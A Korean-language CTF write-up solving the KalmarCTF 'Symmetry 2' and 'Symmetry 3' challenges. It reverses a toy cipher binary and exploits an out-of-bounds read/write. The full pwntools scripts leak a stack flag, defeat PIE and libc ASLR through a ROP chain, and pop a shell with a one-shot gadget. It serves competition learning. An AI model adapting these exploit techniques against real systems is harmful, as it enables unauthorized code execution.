rev, crypto, pwn을 모두 섞은 문제가 Symmetry 1~3의 제목으로 출제되었었고,
이 중 Symmetry 2,3 을 해결하였습니다.
crypto적인 지식이 필요하기보다는 pwn문제에 역산능력이 요구되는것에 가까웠습니다.
바이너리 분석
우선, Symmetry 2,3의 바이너리는 동일합니다.
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
unsigned int block_cnt; // [rsp+Ch] [rbp-44h] BYREF
unsigned int block_idx; // [rsp+10h] [rbp-40h]
int i; // [rsp+14h] [rbp-3Ch]
unsigned int j; // [rsp+18h] [rbp-38h]
int k; // [rsp+1Ch] [rbp-34h]
unsigned int m; // [rsp+20h] [rbp-30h]
int n; // [rsp+24h] [rbp-2Ch]
void *keys; // [rsp+28h] [rbp-28h]
void *block_shift; // [rsp+30h] [rbp-20h]
void *plaintext; // [rsp+38h] [rbp-18h]
void *ciphertext; // [rsp+40h] [rbp-10h]
unsigned __int64 v14; // [rsp+48h] [rbp-8h]
v14 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("Welcome to the testing service for my new cryptosystem.");
block_cnt = 0;
while ( 1 )
{
printf("Number of blocks: ");
__isoc99_scanf("%u", &block_cnt);
if ( block_cnt <= 0x64 )
{
keys = calloc(block_cnt, 8uLL);
block_shift = calloc(block_cnt, 0x10uLL);
plaintext = calloc(block_cnt, 8uLL);
ciphertext = calloc(block_cnt, 8uLL);
for ( block_idx = 0; block_idx < block_cnt; ++block_idx )
{
printf("Please provide a key for block %u: ", block_idx);
for ( i = 0; i <= 7; ++i )
__isoc99_scanf("%2hhx", (char *)keys + 8 * block_idx + i);
for ( j = 0; j <= 0xF; ++j )
{
printf("Please provide shift %u for block %u: ", j, block_idx);
__isoc99_scanf("%2hhx", (char *)block_shift + 16 * block_idx + j);
}
printf("Please provide plaintext for block %u: ", block_idx);
for ( k = 0; k <= 7; ++k )
__isoc99_scanf("%2hhx", (char *)plaintext + 8 * block_idx + k);
}
encrypt(block_cnt, (__int64)keys, (__int64)block_shift, (__int64)plaintext, (__int64)ciphertext);
puts("Ciphertexts:");
for ( m = 0; m < block_cnt; ++m )
{
printf("Block %u: ", m);
for ( n = 0; n <= 7; ++n )
printf("%02hhx", *((unsigned __int8 *)ciphertext + 8 * m + n));
putchar(10);
}
free(keys);
free(block_shift);
free(plaintext);
free(ciphertext);
}
else
{
puts("That is a bit too much...");
}
}
}
ida로 디컴파일해보면 대략 이런 코드가 나옵니다.
간단히 설명해보면 다음과 같습니다:
- 입력받을 블럭의 개수 입력
- 각 블럭에 사용될 key 8바이트 입력
- 각 블럭에 사용될, 16개의 shift 1바이트씩 입력
- plaintext 8바이트 입력
- 1에서 입력한 개수 만큼 2~4 반복
- encrypt 진행
- ciphertext 블럭별로 출력
- 위 과정 반복
여기서 encrypt 함수를 보면
unsigned __int64 __fastcall encrypt(unsigned int block_cnt, __int64 keys, __int64 a3, __int64 a4, __int64 a5)
{
unsigned __int64 v6; // [rsp+98h] [rbp-8h]
v6 = __readfsqword(0x28u);
encrypt_core(block_cnt, keys, a3, a4, a5);
return v6 - __readfsqword(0x28u);
}
디컴파일시에는 별 동작을 하지 않는것 같지만,
.text:00000000000015D7 endbr64
.text:00000000000015DB push rbp
.text:00000000000015DC mov rbp, rsp
.text:00000000000015DF sub rsp, 0A0h
.text:00000000000015E6 mov [rbp+var_74], edi
.text:00000000000015E9 mov [rbp+var_80], rsi
.text:00000000000015ED mov [rbp+var_88], rdx
.text:00000000000015F4 mov [rbp+var_90], rcx
.text:00000000000015FB mov [rbp+var_98], r8
.text:0000000000001602 mov rax, fs:28h
.text:000000000000160B mov [rbp+var_8], rax
.text:000000000000160F xor eax, eax
.text:0000000000001611 mov rax, 'f{ramlak'
.text:000000000000161B mov rdx, 'galf_eka'
.text:0000000000001625 mov [rbp+var_70], rax
.text:0000000000001629 mov [rbp+var_68], rdx
.text:000000000000162D mov rax, 'set_rof_'
.text:0000000000001637 mov rdx, '}):_gnit'
.text:0000000000001641 mov [rbp+var_60], rax
.text:0000000000001645 mov [rbp+var_58], rdx
실제로 어셈을 뜯어보면 스택에 flag를 담아둡니다.
rsp+0x30부터 0x20바이트가 flag라고 볼 수 있습니다.
unsigned __int64 __fastcall encrypt_core(
unsigned int block_cnt,
__int64 keys_8n,
__int64 shifts_16n,
__int64 plaintext_8n,
__int64 ciphertext_8n)
{
int v5; // ebx
char plain_hex; // al
unsigned __int8 key_hex; // bl
unsigned __int8 buf_hex; // al
char v9; // al
unsigned __int8 v10; // al
unsigned __int8 k; // [rsp+34h] [rbp-5Ch]
unsigned __int8 m; // [rsp+35h] [rbp-5Bh]
unsigned __int8 n; // [rsp+36h] [rbp-5Ah]
unsigned __int8 ii; // [rsp+37h] [rbp-59h]
unsigned int i; // [rsp+38h] [rbp-58h]
int j; // [rsp+3Ch] [rbp-54h]
char buf[8]; // [rsp+40h] [rbp-50h] BYREF
__int64 plain_block[6]; // [rsp+48h] [rbp-48h] BYREF
unsigned __int64 v23; // [rsp+78h] [rbp-18h]
v23 = __readfsqword(0x28u);
for ( i = 0; i < block_cnt; ++i )
{
plain_block[0] = *(_QWORD *)(8 * i + plaintext_8n);
for ( j = 0; j <= 15; ++j )
{
for ( k = 0; k <= 0xFu; ++k ) // plain_block[1][sbox[k]]=f1(shift[i][j],k)
{
v5 = sbox1[k];
*((_BYTE *)&plain_block[1] + v5) = add_or_sub(*(_BYTE *)(16 * i + j + shifts_16n), k);// over 16
}
for ( m = 0; m <= 0xFu; ++m )
{
plain_hex = get_hex_val((__int64)plain_block, m);// get hex idx
set_hex_val((__int64)buf, *((unsigned __int8 *)&plain_block[1] + m), plain_hex);// hex(a1)[a2]=a3
}
for ( n = 0; n <= 0xFu; ++n )
{
key_hex = get_hex_val(8 * i + keys_8n, n);
buf_hex = get_hex_val((__int64)buf, n);
v9 = add_or_sub(buf_hex, key_hex);
set_hex_val((__int64)buf, n, v9 & 0xF);
}
for ( ii = 0; ii <= 0xFu; ++ii )
{
v10 = get_hex_val((__int64)buf, ii);
set_hex_val((__int64)plain_block, ii, *((_BYTE *)&plain_block[1] + *((unsigned __int8 *)&plain_block[1] + v10)));
}
}
*(_QWORD *)(ciphertext_8n + 8 * i) = plain_block[0];
}
return v23 - __readfsqword(0x28u);
}
__int64 __fastcall add_or_sub(unsigned __int8 a1, unsigned __int8 a2)
{
unsigned __int8 v3; // [rsp+15h] [rbp-Bh]
unsigned __int8 v4; // [rsp+16h] [rbp-Ah]
unsigned __int8 v5; // [rsp+17h] [rbp-9h]
v3 = a2 & 1;
v4 = a1 >> 1;
v5 = a2 >> 1;
if ( (a1 & 1) == 1 )
return (unsigned int)(unsigned __int8)(((2 * (v4 - v5)) & 0xE) - v3) + 1;
else
return 2 * (v4 + v5) + (unsigned int)v3;
}
char __fastcall get_hex_val(__int64 a1, unsigned int a2)
{
unsigned __int8 v3; // [rsp+17h] [rbp-9h]
v3 = *(_BYTE *)((a2 >> 1) + a1); // a1[a2>>1]
if ( (a2 & 1) != 0 ) // a2가 홀수면
return v3 & 0xF;
else
return v3 >> 4;
}
unsigned __int64 __fastcall set_hex_val(__int64 a1, unsigned int a2, char a3)
{
char v4; // [rsp+17h] [rbp-9h]
char v5; // [rsp+17h] [rbp-9h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v4 = *(_BYTE *)((a2 >> 1) + a1);
if ( (a2 & 1) != 0 )
v5 = (v4 & 0xF0) + a3;
else
v5 = (v4 & 0xF) + 16 * a3;
*(_BYTE *)(a1 + (a2 >> 1)) = v5;
return v6 - __readfsqword(0x28u);
}
실제로 암호화가 진행되는 코드는 다음과 같습니다.
- add_or_sub(a1, a2)는 a1이 홀수면 (a1-a2)&0xf, 아니면 a1+a2를 리턴합니다.
- get_hex_val, set_hex_val은 a1을 hex로 나타냈을 때, a2번째 값을 리턴하거나 a3로 set합니다.
이를 반영하여 해당 코드를 파이썬으로 옮겨보면 다음과 같습니다.
sbox = [9, 10, 8, 1, 14, 3, 7, 15, 11, 12, 2, 0, 4, 5, 6, 13]
def plus_or_minus(shift_num, k):
if shift_num & 1 == 0:
return shift_num + k
else:
return (shift_num - k) & 0xF
def enc_round(key, shift, plaintext):
buf = [0] * 16
p1 = [0] * 16
for j in range(16):
p1[sbox[j]] = plus_or_minus(shift, j)
for j in range(16):
buf[p1[j]] = plaintext[j]
for j in range(16):
buf[j] = plus_or_minus(buf[j], key[j]) & 0xF
for j in range(16):
plaintext[j] = p1[p1[buf[j]]]
def enc_block(key, shifts, plaintext):
for i in range(16):
enc_round(key, shifts[i], plaintext)
return plaintext
이때 해당 코드에서 key, plaintext, buf은 바이트가 아닌 hex값을 나타냅니다.
plus_or_minus의 리턴값이 16이상일 수 있기 때문에 p1[j]의 값 또한 16이상이 가능하고, 이 때문에
buf[p1[j]] = plaintext[j], plaintext[j] = p1[p1[buf[j]]]에서 oob 취약점이 터집니다.
우선 buf의 주소는 rbp-0x50, p1(plaintext[1])의 주소는 rbp-0x40입니다.
또한 buf[p1[j]] = plaintext[j]에서는 buf에 hex단위로 쓰고,
plaintext[j] = p1[p1[buf[j]]]에서는 p1에 바이트 단위로 읽으므로
즉 전자는 rbp-0x50+p1[j]/2에 쓰고, 후자는 rbp-0x40+p1[buf[j]]를 읽습니다.
Symmetry 2
우선, 풀이를 간단히 하기 위해 key는 모두 0으로 고정합니다.
또한, buf의 값이 항상 0~15가 되도록 plaintext는 "0123456789abcdef"로,
15라운드까지는 취약점이 터지지 않도록 shifts는 홀수로 합니다.
이는 Symmetry 3도 마찬가지입니다.
저희가 읽어와야하는건 encrypt의 rsp+0x30부터 0x20바이트이고,
이는 encrypt_core기준으로 rbp+0x40 = p1+0x80부터 0x20바이트입니다.
buf[j]의 범위는 항상 0에서 15이므로 마지막 라운드에서 p1의 범위가 0x80에서 0x100이 되도록 해야합니다.
이러면 buf[p1[j]] = plaintext[j]에서 rbp-0x50+0x40 = rbp-0x10으로부터 0x10바이트를 쓰게 되는데,
해당 영역은 아무런 동작도 이루어지지 않기 때문에 문제가 되지 않습니다.
unsigned __int64 __fastcall set_hex_val(__int64 a1, unsigned int a2, char a3)
{
char v4; // [rsp+17h] [rbp-9h]
char v5; // [rsp+17h] [rbp-9h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v4 = *(_BYTE *)((a2 >> 1) + a1);
if ( (a2 & 1) != 0 )
v5 = (v4 & 0xF0) + a3;
else
v5 = (v4 & 0xF) + 16 * a3;
*(_BYTE *)(a1 + (a2 >> 1)) = v5;
return v6 - __readfsqword(0x28u);
}
다시 set_hex_val을 보면, a2가 홀수고 a3가 16이상이 되면 자기 위의 값에 영향을 주게 됩니다.
plaintext[j] = p1[p1[buf[j]]]에서, plaintext의 j번째 바이트는
16*p1[p1[buf[2*j]]] + p1[p1[buf[2*j+1]]]의 값을 가진다고 생각할 수 있습니다.
shifts를 15라운드까지는 홀수로 주고 마지막은 offset(짝수)를 주었다고 합시다.
우선 마지막 라운드에서 p1[sbox[j]] = offset + j일 것이고,
plaintext의 각 바이트에 16*p1[p1[buf[2*j]]] + p1[p1[buf[2*j+1]]]가 초기화됩니다.
j = 0에서 15일때 p1[j] = offset + inv_sbox[j]이고,
j = 0x80에서 일때 p1[j] = flag[j - 0x80]입니다.
즉, j = 0~15일때 p1[p1[j]] = flag[(offset - 0x80) + inv_sbox[j]] 입니다.
우선 p1[p1[j]]의 값을 계산하고 위 특성을 이용해 flag를 계산하면 됩니다.
from pwn import *
import random
sbox = [9, 10, 8, 1, 14, 3, 7, 15, 11, 12, 2, 0, 4, 5, 6, 13]
inv_sbox = [sbox.index(i) for i in range(16)]
def b2h(b):
h = b.hex()
return ["0123456789abcdef".index(_) for _ in h]
def h2b(h):
h = "".join(["0123456789abcdef"[_] for _ in h])
return bytes.fromhex(h)
def plus_or_minus(shift_num, k):
if shift_num & 1 == 0:
return shift_num + k
else:
return (shift_num - k) & 0xF
def enc_round_fixed(shift, plaintext): # no key
buf = [0] * 16
p1 = [0] * 16
for j in range(16):
p1[sbox[j]] = plus_or_minus(shift, j)
for j in range(16):
buf[p1[j]] = plaintext[j]
for j in range(16):
plaintext[j] = p1[p1[buf[j]]]
return buf
def enc_block_fixed(plaintext, shifts):
ciphertext = plaintext[:]
for shift in shifts:
buf = enc_round_fixed(shift, ciphertext) # no key
return ciphertext, buf
def enc_remote_fixed(r, plaintexts, shifts):
n = len(shifts)
r.sendlineafter(b": ", str(n).encode())
for block_idx in range(n):
shift = shifts[block_idx]
plaintext = plaintexts[block_idx]
r.sendlineafter(b": ", b"0" * 16) # key is 0
for _ in range(16):
r.sendlineafter(b": ", bytes([shift[_]]).hex().encode())
r.sendlineafter(b": ", h2b(plaintext).hex().encode())
r.recvline()
ret = []
for block_idx in range(n):
data = r.recvline()[-17:-1].decode()
data = [int(_, 16) for _ in data]
ret.append(data)
return ret
r = remote("chal-kalmarc.tf", "8")
# 0x10바이트를 모두 leak할 수 있는 shifts 수집
shifts = []
bufs = []
check = set()
while len(check) != 16:
shift = [random.randrange(1, 16, 2) for _ in range(15)]
_, buf = enc_block_fixed(list(range(16)), shift)
for i in range(0, 2, 16):
check.add(buf[i])
shifts.append(shift)
bufs.append(buf)
n = len(shifts)
ans = [0] * 16
# flag부터 0x10바이트, flag+0x10부터 0x10바이트 leak
for offset in [0x80, 0x90]:
_shifts = [shift + [offset] for shift in shifts]
enc_datas = enc_remote_fixed(r, [list(range(16)) for _ in range(n)], _shifts)
for i in range(n):
for j in range(1, 16, 2):
ans[bufs[i][j]] = enc_datas[i][j]
for i in range(n):
for j in range(1, 16, 2):
ans[bufs[i][j]] |= (enc_datas[i][j - 1] - ans[bufs[i][j - 1]]) * 16 % 256
ans = [ans[sbox[i]] for i in range(16)]
print(bytes(ans))
r.close()
다음과 같은 코드로 flag를 얻을 수 있겠습니다.
Symmetry 3
우선, Symmetry 2에서 사용한 방법을 통해 스택에서 encrypt_core()의 sfp&ret을 leak할 수 있으며,
이를 통해 pie offset 또한 구할 수 있습니다.
그럼 이제 rop를 통해 libc offset을 leak해야 합니다.
해당 바이너리에서는 rdi를 초기화 할 수 있는 가젯은 없지만,
대신 encrypt_core에서 ret하기 직전 rsi의 값은 plaintext를 가르키기 때문에,
ciphertext의 마지막 블럭과 동일하다고 볼 수 있습니다.
rop를 위해 사용할 특징들은 다음과 같습니다:
buf[p1[j]] = plaintext[j]을 통해 rbp-0x50으로부터 0x80바이트까지 덮을 수 있습니다.- 다만 원하는 값을 덮기 위해서는 역산이 요구됩니다.
- key, shift 모두 0일때 plaintext=ciphertext이므로, 간단히 rsi가 가르키는 문자열을 8바이트만큼 조작할 수 있습니다.
일단 역산의 경우 앞서 말한대로 마지막라운드에서 p1[sbox[j]] = offset + j이며,
key와 shift를 모두 알고 있을때 각 라운드의 역산은 어렵지 않습니다(?).
buf + offset/2가 target이라고 하면, target[j] = plaintext[sbox[j]] 이므로 원하는 값을 inv_sbox를 통해 섞고 15라운드만큼 decrypt하면 됩니다.
(마지막 라운드의 target[j] = plaintext[sbox[j]]에서 plaintext는 15라운드를 거쳐 enc가 이루어진 값이고,target[inv_sbox[j]] = plaintext[j]나 마찬가지이므로 inv_sbox를 통해 섞은 뒤 dec을 진행하면 됩니다.)
stack alignment를 지키기 위해 스택을 ret, printf, ret, main순으로 깔아두면,
printf("%37$p\n")을 통해 __libc_start_main_ret을 leak하고 main을 다시 호출합니다.
그 뒤에 system을 호출하면 rdi가 가르키는 값이(plaintext) 덮이는 문제가 있으며,
대신 oneshot gadget으로 ret을 덮어 깔끔하게 쉘을 딸 수 있습니다.
from pwn import *
import random
sbox = [9, 10, 8, 1, 14, 3, 7, 15, 11, 12, 2, 0, 4, 5, 6, 13]
inv_sbox = [sbox.index(i) for i in range(16)]
def b2h(b):
h = b.hex()
return ["0123456789abcdef".index(_) for _ in h]
def h2b(h):
h = "".join(["0123456789abcdef"[_] for _ in h])
return bytes.fromhex(h)
def plus_or_minus(shift_num, k):
if shift_num & 1 == 0:
return shift_num + k
else:
return (shift_num - k) & 0xF
def enc_round_fixed(shift, plaintext): # no key
buf = [0] * 16
p1 = [0] * 16
for j in range(16):
p1[sbox[j]] = plus_or_minus(shift, j)
for j in range(16):
buf[p1[j]] = plaintext[j]
for j in range(16):
plaintext[j] = p1[p1[buf[j]]]
return buf
def enc_block_fixed(plaintext, shifts):
ciphertext = plaintext[:]
for shift in shifts:
buf = enc_round_fixed(shift, ciphertext) # no key
return ciphertext, buf
def dec_round_fixed(shift, plaintext): # no key
buf = [0] * 16
p1 = [0] * 16
for j in range(16):
p1[sbox[j]] = plus_or_minus(shift, j)
inv_p1 = [p1.index(j) for j in range(16)]
for j in range(16):
buf[j] = inv_p1[inv_p1[plaintext[j]]]
for j in range(16):
plaintext[j] = buf[p1[j]]
return buf
def dec_block_fixed(ciphertext, shifts):
plaintext = ciphertext[:]
plaintext = [plaintext[inv_sbox[j]] for j in range(16)]
for shift in shifts[::-1]:
buf = dec_round_fixed(shift, plaintext) # no key
return plaintext
def enc_remote_fixed(r, plaintexts, shifts, skip=False):
n = len(shifts)
r.sendlineafter(b": ", str(n).encode())
for block_idx in range(n):
shift = shifts[block_idx]
plaintext = plaintexts[block_idx]
r.sendlineafter(b": ", b"0" * 16) # key is 0
for _ in range(16):
r.sendlineafter(b": ", bytes([shift[_]]).hex().encode())
r.sendlineafter(b": ", h2b(plaintext).hex().encode())
ret = []
if not skip:
r.recvline()
for block_idx in range(n):
data = r.recvline()[-17:-1].decode()
data = [int(_, 16) for _ in data]
ret.append(data)
return ret
r = remote("chal-kalmarc.tf", "8")
# 0x10바이트를 모두 leak할 수 있는 shifts 수집
shifts = []
bufs = []
check = set()
while len(check) != 16:
shift = [random.randrange(1, 16, 2) for _ in range(15)]
_, buf = enc_block_fixed(list(range(16)), shift)
for i in range(0, 2, 16):
check.add(buf[i])
shifts.append(shift)
bufs.append(buf)
n = len(shifts)
ans = [0] * 16
# encrypt_core()의 sfp & ret leak
_shifts = [shift + [0x40] for shift in shifts]
enc_datas = enc_remote_fixed(r, [list(range(16)) for _ in range(n)], _shifts)
for i in range(n):
for j in range(1, 16, 2):
ans[bufs[i][j]] = enc_datas[i][j]
for i in range(n):
for j in range(1, 16, 2):
ans[bufs[i][j]] |= (enc_datas[i][j - 1] - ans[bufs[i][j - 1]]) * 16 % 256
ans = [ans[sbox[i]] for i in range(16)]
# pie_offset 계산 및 libc leak
pie_offset = u64(bytes(ans)[8:]) - 0x16AF
printf_plt = pie_offset + 0x1110
main = pie_offset + 0x16C6
ret = pie_offset + 0x15D6
payloads = [p64(ret), p64(printf_plt), p64(ret), p64(main)]
payloads = [dec_block_fixed(b2h(payload), [0] * 15) for payload in payloads]
payloads += [b2h(b"%37$p\n\x000")]
shifts = [[0] * 15 + [0xB0 + 0x10 * i] for i in range(4)] + [[0] * 16]
enc_remote_fixed(r, payloads, shifts, skip=True)
# libc_offset 계산 및 oneshot gadget을 통한 쉘 획득
libc_offset = int(r.recvline(), 16) - 0x29D90
one_shot = libc_offset + 0xEBC85
payloads = [dec_block_fixed(b2h(p64(one_shot)), [0] * 15)]
shifts = [[0] * 15 + [0xB0]]
enc_remote_fixed(r, payloads, shifts, skip=True)
r.interactive()
r.close()
'CTF > writeup-ko' 카테고리의 다른 글
| CODEGATE 2024 Quals 풀이 - Crypto+α (0) | 2024.06.04 |
|---|---|
| 2024 Feb Space WAR (Crypto) 풀이 (3) | 2024.02.25 |
| Space WAR 2023 풀이 (1) | 2023.12.31 |